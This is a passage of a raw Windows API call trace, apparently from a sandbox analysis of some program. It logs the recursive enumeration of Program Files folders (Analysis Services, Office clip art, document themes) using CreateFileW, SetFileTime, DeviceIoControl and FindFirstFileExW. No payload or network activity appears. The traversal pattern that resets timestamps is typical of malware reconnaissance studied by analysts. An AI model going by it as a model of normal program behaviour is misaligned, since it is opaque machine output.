ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.626] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.626] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.626] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23ec8) returned 1 [0055.626] NtClose (Handle=0x168) returned 0x0 [0055.626] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b278) returned 1 [0055.626] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bf8 [0055.628] GetLastError () returned 0x12 [0055.628] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.628] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.629] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.629] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23ec8) returned 1 [0055.629] NtClose (Handle=0x168) returned 0x0 [0055.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf21e08) returned 1 [0055.629] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bf8 [0055.631] GetLastError () returned 0x12 [0055.631] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.631] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.631] GetLastError () returned 0x12 [0055.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf21f10) returned 1 [0055.631] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf22018) returned 1 [0055.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf21e08) returned 1 [0055.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.632] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.632] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf23ec8) returned 1 [0055.633] NtClose (Handle=0x134) returned 0x0 [0055.633] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.633] GetLastError () returned 0x12 [0055.633] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bf8 [0055.633] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.634] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.634] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.635] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459bb8 [0055.635] GetLastError () returned 0x12 [0055.635] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c38 [0055.635] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.635] GetLastError () returned 0x12 [0055.635] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.635] GetLastError () returned 0x12 [0055.635] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.635] GetLastError () returned 0x12 [0055.635] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.635] GetLastError () returned 0x12 [0055.635] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.636] GetLastError () returned 0x12 [0055.636] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0055.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.636] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0055.636] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0055.636] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459c78 [0055.636] GetLastError () returned 0x12 [0055.636] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459cf8 [0055.636] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.637] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.638] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.638] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0055.638] GetLastError () returned 0x12 [0055.638] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459d38 [0055.638] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.638] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.638] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf23ec8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf23ec8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.638] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.660] GetLastError () returned 0x12 [0055.660] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bf8 [0055.660] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.660] GetLastError () returned 0x12 [0055.660] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.666] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.666] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf796b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf796b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.666] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bf8 [0055.667] GetLastError () returned 0x12 [0055.667] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.667] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.667] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.667] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.667] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf796b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf796b8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.667] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bf8 [0055.669] GetLastError () returned 0x12 [0055.669] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.669] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.669] GetLastError () returned 0x12 [0055.669] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.670] GetLastError () returned 0x12 [0055.670] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.670] GetLastError () returned 0x12 [0055.670] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.671] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.672] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf80180, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf80180, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459d38 [0055.681] GetLastError () returned 0x12 [0055.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0055.682] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.683] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.683] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf7d6b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf7d6b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.683] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.688] GetLastError () returned 0x12 [0055.688] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.688] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.688] GetLastError () returned 0x12 [0055.688] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.689] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.689] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf816b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf816b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.689] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.692] GetLastError () returned 0x12 [0055.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.692] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.692] GetLastError () returned 0x12 [0055.692] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, 